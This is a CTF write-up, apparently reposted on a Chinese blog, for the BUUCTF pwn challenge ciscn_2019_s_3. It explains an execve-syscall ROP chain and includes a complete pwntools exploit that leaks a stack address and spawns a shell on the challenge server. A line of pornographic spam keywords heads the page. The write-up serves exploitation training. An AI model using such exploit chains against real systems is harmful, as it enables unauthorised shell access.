日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——ciscn_2019_s_3

發布時間:2024/4/17 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——ciscn_2019_s_3 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[BUUCTF-pwn]——ciscn_2019_s_3

  • 題目地址:https://buuoj.cn/challenges#ciscn_2019_s_3

peak 小知識

寫這道題之前, 大家首先要了解, 想要獲得一個shell, 除了system("/bin/sh") 以外, 還有一種更好的方法, 就是系統調用中的 execve("/bin/sh", NULL, NULL)獲得shell。我們可以在 Linxu系統調用號表 中找到對應的系統調用號,進行調用, 其中32位程序系統調用號用 eax 儲存, 第一 、 二 、 三參數分別在 ebx 、ecx 、edx中儲存。 可以用 int 80 匯編指令調用。64位程序系統調用號用 rax 儲存, 第一 、 二 、 三參數分別在 rdi 、rsi 、rdx中儲存。 可以用 syscall 匯編指令調用。

首先checksec一下,還是老樣子只開了NX保護,不過是64位。

在IDA 中,發現了系統調用。


進入匯編看看


ROPgadget找找可能用到的匯編指令

思路

該題是64位程序, execve的系統調用號為0x3b也就是59 。可以發現該程序有兩個系統調用第一個 sys_read和第二個sys_write,其實和read函數和write函數用法相同。觀察vuln函數的匯編指令,我們可以看到,它沒有lea指令,也就是說,執行完畢后它的棧不會清空,我們可以將'/bin/sh'字符串寫入buf,計算出buf的地址(rbp - 0x10)就可以在循環調用的時候再次利用。
注意:vuln中沒有leave指令,也就是說ebp就是它的返回地址
下面我們要給rax賦值0x3b,將buf的地址,儲存到rdi寄存器中,給rsi、rdx寄存器中儲存0。我們找到對應的匯編指令組成rop鏈就好,重點的、需要用到的匯編指令都圈出來了。計算距離的話在pwndbg上面計算就好。

exploit

from pwn import * p = remote("node3.buuoj.cn",26201) context.log_level = 'debug' main_addr=0x0004004ED execv=0x04004E2 pop_rdi=0x4005a3 pop_rbx_rbp_r12_r13_r14_r15_ret=0x40059A mov_rdxr13_call=0x0400580 syscall=0x00400517 binsh = '/bin/sh\x00' payload = binsh.ljust(0x10, 'a') + p64(main_addr)p.sendline(payload) p.recv(0x20) binsh_addr = u64(p.recv(8))-280 print(hex(binsh_addr))payload = binsh.ljust(0x10, 'a') + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + p64(0) + p64(0) + p64(binsh_addr+0x50) + p64(0)*2 + p64(1) payload += p64(mov_rdxr13_call) + p64(execv) payload += p64(pop_rdi) + p64(binsh_addr) + p64(syscall) p.sendline(payload)p.interactive()

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——ciscn_2019_s_3的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。